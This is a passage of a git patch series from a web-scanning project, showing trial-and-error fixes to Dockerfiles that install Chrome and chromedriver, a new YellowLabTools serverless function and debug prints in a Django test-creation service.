@@ -34,7 +34,7 @@ RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     apt-get install -y google-chrome-stable && \
     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
     CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver

From 4d17e12e3619bad8ed7cac37bc793712e5c9bad3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:57:47 -0700
Subject: [PATCH 0278/1099] testing

---
 Dockerfile.dev | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index ffea9e53..db0a54e1 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,17 +26,16 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable && \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
-    CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
-    unzip ~/chromedriver_linux64.zip -d ~/ && \
-    rm ~/chromedriver_linux64.zip && \
+    apt-get install -y google-chrome-stable; \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
+    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
     mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps

From d52764dd7d044c21a844c09b210ae3e6f0070664 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:30:16 -0700
Subject: [PATCH 0279/1099] testing

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index db0a54e1..8449b73d 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -36,7 +36,7 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
-    mv -f ~/chromedriver /usr/bin/chromedriver
+    unzip /chromedriver/chromedriver* -d /usr/local/bin/
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 09c54ca5ffbdcf41d196ff7d057924325073f0b7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:41:52 -0700
Subject: [PATCH 0280/1099] testing

---
 Dockerfile.dev | 33 +++++++++++++++++++++++----------
 1 file changed, 23 insertions(+), 10 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 8449b73d..5491226f 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,18 +26,31 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable; \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
-    wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
+# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+#     apt-get update -y; \
+#     apt-get install -y google-chrome-stable; \
+#     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+#     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
+#     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
+#     unzip /chromedriver/chromedriver* -d /usr/local/bin/
+
+RUN apt-get update && \
+    apt-get install -y gnupg wget curl unzip --no-install-recommends && \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \
+    echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list && \
+    apt-get update -y && \
+    apt-get install -y google-chrome-stable && \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
+    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
+    wget -q --continue -P /chromedriver "http://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
     unzip /chromedriver/chromedriver* -d /usr/local/bin/
 
+
+
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 
     libatk-bridge2.0-0 gconf-service libasound2 make \ 

From 138a110249053ee78a67b7ffb82baead4c71ead0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:54:46 -0700
Subject: [PATCH 0281/1099] testing

---
 Dockerfile.dev | 36 ++++++++++++------------------------
 1 file changed, 12 insertions(+), 24 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 5491226f..1e184f8c 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -26,30 +26,18 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget unzip gnupg
 
 # installing google-chrome-stable & chromedriver
-# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-#     apt-get update -y; \
-#     apt-get install -y google-chrome-stable; \
-#     CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-#     CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION"); \
-#     wget -q --continue -P /chromedriver "https://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip"; \
-#     unzip /chromedriver/chromedriver* -d /usr/local/bin/
-
-RUN apt-get update && \
-    apt-get install -y gnupg wget curl unzip --no-install-recommends && \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \
-    echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list && \
-    apt-get update -y && \
-    apt-get install -y google-chrome-stable && \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
-    CHROMEDRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
-    wget -q --continue -P /chromedriver "http://chromedriver.storage.googleapis.com/$CHROMEDRIVER_VERSION/chromedriver_linux64.zip" && \
-    unzip /chromedriver/chromedriver* -d /usr/local/bin/
-
-
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable; \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROME_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    unzip ~/chromedriver_linux64.zip -d ~/ && \
+    rm ~/chromedriver_linux64.zip && \
+    mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 51e135b914011610221d3b3153e5dd8ae67ff8af Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 13:59:52 -0700
Subject: [PATCH 0282/1099] fixing version issues

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 1e184f8c..f1baae28 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -33,8 +33,8 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
     apt-get install -y google-chrome-stable; \
-    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*"); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROME_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver

From 33c9fb632dff0681dfd2ddae1fd1336497addff1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:03:29 -0700
Subject: [PATCH 0283/1099] fixing naming issues

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index f1baae28..de66c254 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -35,8 +35,8 @@ RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     apt-get install -y google-chrome-stable; \
     CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver_linux64.zip -d ~/ && \
-    rm ~/chromedriver_linux64.zip && \
+    unzip ~/chromedriver-linux64.zip -d ~/ && \
+    rm ~/chromedriver-linux64.zip && \
     mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps

From 67b32ff889767afbfe61353edafeb6aea5933b96 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:12:59 -0700
Subject: [PATCH 0284/1099] fixing dir issues

---
 Dockerfile.dev | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index de66c254..a4a13e59 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -25,19 +25,22 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev \ 
     libfontconfig wget unzip gnupg
 
-# installing google-chrome-stable & chromedriver
+# installing google-chrome-stable 
 RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable; \
-    CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    apt-get install -y google-chrome-stable;
+
+# installing chromedriver
+RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
     unzip ~/chromedriver-linux64.zip -d ~/ && \
     rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver /usr/bin/chromedriver
+    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+    rm ~/chromedriver-linux64
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From e9cb6878ca24c1522e663aaa7b1423eb44e2490a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:16:21 -0700
Subject: [PATCH 0285/1099] fixed dir removal issue

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index a4a13e59..e71480b4 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -40,7 +40,7 @@ RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-te
     unzip ~/chromedriver-linux64.zip -d ~/ && \
     rm ~/chromedriver-linux64.zip && \
     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm ~/chromedriver-linux64
+    rm -rf ~/chromedriver-linux64
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 72f8d8be86a4e96a43427720e3a4e02ad6bb8c78 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 14:25:31 -0700
Subject: [PATCH 0286/1099] added context back

---
 docker-compose.dev.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 67696f59..d79ecee1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,6 +6,7 @@ services:
     privileged: true
     init: true
     build:
+      context: .
       dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
@@ -47,6 +48,7 @@ services:
     privileged: true
     restart: always
     build:
+      context: .
       dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 6e9339d4a60d895e806d54836798a3e0b805cbda Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 15:15:06 -0700
Subject: [PATCH 0287/1099] back to old dockerfile

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d79ecee1..5752627a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile.dev
+      dockerfile: Dockerfile
     volumes:
       - ./app:/app
       - static_volume:/app/static
@@ -49,7 +49,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.dev
+      dockerfile: Dockerfile
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr

From 4afab58f4a08fb4c6f1f8327b7ddf75ef110db31 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 19:01:39 -0700
Subject: [PATCH 0288/1099] fixed issue with page and site info not updating
 correctly

---
 app/api/utils/scanner.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 084809c5..df40232b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -423,10 +423,10 @@ def check_scan_completion(scan, test_id, automation_id):
     # deciding if done
     if finished is True:
         time_completed = datetime.now()
-        update_page_info(scan)
-        update_site_info(scan)
         scan.time_completed = time_completed
         scan.save()
+        update_page_info(scan)
+        update_site_info(scan)
 
         # start Test if test_id present
         if test_id is not None:

From b6ae2bed53c9aafa96603f7de47af0f5ad175b85 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 10:43:46 -0700
Subject: [PATCH 0289/1099] adding functions

---
 functions/scanerr-yl/.gitignore               |  7 +++++++
 .../packages/scanerr/yellowlab/package.json   | 10 ++++++++++
 .../packages/scanerr/yellowlab/yellowlab.js   | 16 ++++++++++++++++
 functions/scanerr-yl/project.yml              | 19 +++++++++++++++++++
 4 files changed, 52 insertions(+)
 create mode 100644 functions/scanerr-yl/.gitignore
 create mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/package.json
 create mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
 create mode 100644 functions/scanerr-yl/project.yml

diff --git a/functions/scanerr-yl/.gitignore b/functions/scanerr-yl/.gitignore
new file mode 100644
index 00000000..882a1fbe
--- /dev/null
+++ b/functions/scanerr-yl/.gitignore
@@ -0,0 +1,7 @@
+.nimbella
+.deployed
+__deployer__.zip
+__pycache__/
+node_modules
+package-lock.json
+.DS_Store
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/package.json b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
new file mode 100644
index 00000000..726b44e8
--- /dev/null
+++ b/functions/scanerr-yl/packages/scanerr/yellowlab/package.json
@@ -0,0 +1,10 @@
+{
+    "name": "yellowlab",
+    "version": "1.0.0",
+    "description": "scanerr yellowlab scalable function",
+    "main": "yellowlab.js",
+    "dependencies": {
+      "yellowlabtools": "2.2.0"
+    },
+    "devDependencies": {}
+  }
\ No newline at end of file
diff --git a/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
new file mode 100644
index 00000000..6b2cd258
--- /dev/null
+++ b/functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
@@ -0,0 +1,16 @@
+import yellowLabTools from "yellowlabtools"
+
+function main(args){
+    var yltOptions = {
+        device: args.device,
+    };
+    yellowLabTools(args.url, yltOptions)
+        .then(function(data) {
+            return data
+        })
+        .fail(function(err) {
+            return err
+        });
+}
+
+export default main
diff --git a/functions/scanerr-yl/project.yml b/functions/scanerr-yl/project.yml
new file mode 100644
index 00000000..8596ad68
--- /dev/null
+++ b/functions/scanerr-yl/project.yml
@@ -0,0 +1,19 @@
+parameters: {}
+environment: {}
+packages:
+    - name: scanerr
+      shared: false
+      environment: {}
+      parameters: {}
+      annotations: {}
+      functions:
+        - name: yellowlab
+          binary: false
+          main: ""
+          runtime: nodejs:default
+          web: true
+          webSecure: false
+          parameters: {}
+          environment: {}
+          annotations: {}
+          limits: {}

From e3073e6b4c4f74de45e484fa739e7afc643b0d53 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:03:55 -0700
Subject: [PATCH 0290/1099] testing

---
 Dockerfile | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/Dockerfile b/Dockerfile
index 480b4fcc..faa9cda5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,6 +34,11 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
+# installing more yellowlab-specific system deps
+RUN pt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
+    nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
+    cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
+
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -42,6 +47,9 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 

From e229f67dd7c961f24138cfd60706ac5e82034aed Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:06:10 -0700
Subject: [PATCH 0291/1099] fixed typo

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index faa9cda5..f70b7d37 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,7 +35,7 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing more yellowlab-specific system deps
-RUN pt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
+RUN apt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
     nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
     cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
 

From f787078f95c0663568a986eccd13871e838d1fb6 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:08:44 -0700
Subject: [PATCH 0292/1099] testing

---
 Dockerfile | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f70b7d37..25454bd0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -32,12 +32,8 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
     libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
-
-# installing more yellowlab-specific system deps
-RUN apt-get update && apt-get install -y gcc-c++ zlib-devel libjpeg-turbo-devel \
-    nasm automake autoconf libtool ca-certificates freetype freetype-devel harfbuzz nss \
-    cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \

From c2f07691657f62080b09e948f94cefd3cc3c4c25 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:13:51 -0700
Subject: [PATCH 0293/1099] trying to create workdir at start of dockerfile

---
 Dockerfile | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 25454bd0..9ad91e8e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,11 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=2000
 ENV NODE_OPTIONS="--max-old-space-size=2000"
@@ -57,11 +62,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium

From 686c3259cf0cc483a6b4391f8ae39cc606d020c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 12:59:59 -0700
Subject: [PATCH 0294/1099] debugging create_many_tests

---
 app/api/v1/ops/services.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 833aa045..692457b3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1227,6 +1227,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
             site = Site.objects.get(id=site_id)
         except:
             data = {'reason': 'cannot find a Site with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1234,6 +1235,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
         if site.account != account:
             data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1244,12 +1246,14 @@ def create_test(request=None, delay=False, *args, **kwargs):
             page = Page.objects.get(id=page_id)
         except:
             data = {'reason': 'cannot find a Page with that id', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '404')
                 return Response(data, status=status.HTTP_404_NOT_FOUND)
             return data
         if page.account != account:
             data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
+            print(data)
             if request is not None:
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1293,6 +1297,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1302,6 +1307,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
                 data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
@@ -1314,6 +1320,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -1322,6 +1329,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
+                print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)

From fb41b323f31167a43e7aa40c1b63f666c4139004 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 8 Mar 2024 13:43:49 -0700
Subject: [PATCH 0295/1099] new dockerfile for yellowlabs

---
 functions/dockerfiles/Dockerfile | 47 ++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)
